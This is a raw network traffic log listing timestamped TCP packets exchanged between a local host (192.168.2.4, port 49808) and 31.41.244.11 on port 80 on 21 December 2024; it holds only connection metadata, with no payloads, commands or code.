Dec 21, 2024 18:16:27.861665010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.861782074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.861886024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.862993956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.863046885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.863152981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.863209963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.864542007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.864595890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.864691973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.864742041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.866010904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.866064072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.866233110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.866281986 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.867468119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.867567062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.867599964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.867660999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.868912935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.868983030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.869169950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.869227886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.870434999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.870495081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.870497942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.870553970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.871917009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.871975899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.872056961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.872101068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.873470068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.873522997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.873642921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.873740911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.874905109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.874958038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.874970913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.875009060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.876406908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.876477003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.876481056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.876532078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.877815008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.877873898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.877973080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.878072023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.879290104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.879400969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.879420996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.879468918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.880832911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.880881071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.880997896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.881040096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.882352114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.882409096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.882448912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.882497072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.883812904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.883865118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.883898973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.883946896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.885302067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.885350943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.885390043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.885437012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.886782885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.886831999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.886959076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.887012005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.888194084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.888289928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.888293028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.888334990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.889744997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.889801025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.889868021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.889918089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.891186953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.891241074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.891285896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.891362906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.892653942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.892709017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.892941952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.892995119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.894145012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.894196033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.894273996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.894323111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.895720959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.895771980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.895776987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.895817041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.897136927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.897192955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.897365093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.897416115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.898581982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.898633957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.898694992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.898785114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.900064945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.900118113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.900258064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.900309086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.901547909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.901602030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.901642084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.901695967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.903050900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.903100967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.903199911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.903259039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.904515028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.904566050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.904614925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.904665947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.906045914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.906080961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.906096935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.906126022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.907532930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.907582998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.907617092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.907671928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.909059048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.909136057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.909152031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.909182072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.910597086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.910649061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.910651922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.910697937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.911959887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.912014961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.912045956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.912095070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.916845083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.916975021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.917021036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.917053938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.917578936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.917613983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.917643070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.917674065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.918900967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.918955088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.919068098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.919121027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.921086073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.921164989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.921181917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.921212912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.921861887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.921935081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.921952009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.922008038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.923382998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.923439980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.923490047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.923546076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.924834967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.924896002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.924977064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.925033092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.926337004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.926393032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.926423073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.926482916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.927839994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.927890062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.927897930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.927953005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.929277897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.929335117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.929383039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.929440022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.930783987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.930839062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.930905104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.930963039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.932356119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.932432890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.932461023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.932487965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.933923006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.933981895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.934024096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.934077024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.935375929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.935434103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.935518026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.935575962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.936734915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.936789989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.936809063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.936866045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.938244104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.938302994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.938350916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.938407898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.939757109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.939793110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.939810991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.939846039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.941164017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.941217899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.941252947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.941303015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.942951918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.943008900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.943144083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.943198919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.944359064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.944417000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.944634914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.944686890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.945661068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.945717096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.945796967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.945929050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.947057009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.947112083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059088945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059109926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059132099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059149027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059154034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059170008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059189081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059194088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059202909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059226990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059245110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.059926987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.059969902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.060009956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.060050011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.060316086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.060358047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.060378075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.060390949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.060421944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.060439110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.061178923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.061217070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.061222076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.061229944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.061255932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.061273098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.062033892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.062099934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.062100887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.062113047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.062141895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.062156916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.062931061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.062978029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.062999964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.063014030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.063044071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.063055992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.063851118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.063890934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.063901901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.063905954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.063936949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.063949108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.064717054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.064762115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.064769983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.064784050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.064815998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.064826012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.065567970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.065610886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.065618992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.065624952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.065653086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.065664053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.066426039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.066472054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.066525936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.066539049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.066569090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.066580057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.067279100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.067300081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.067318916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.067336082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.067336082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.067367077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.068129063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.068176031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.068195105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.068207979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.068232059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.068250895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.068969965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069014072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.069047928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069078922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069104910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.069117069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.069856882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069878101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069890976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.069907904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.069919109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.069941044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.070684910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.070729971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.070760012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.070774078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.070806980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.070817947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.071490049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.071536064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.071587086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.071599960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.071630001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.071641922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.072344065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.072408915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.072418928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.072432041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.072463989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.072475910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.073187113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.073232889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.073260069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.073280096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.073302984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.073319912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.074011087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.074058056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.074105978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.074119091 CET	80	49808	31.41.244.11	192.168.2.4
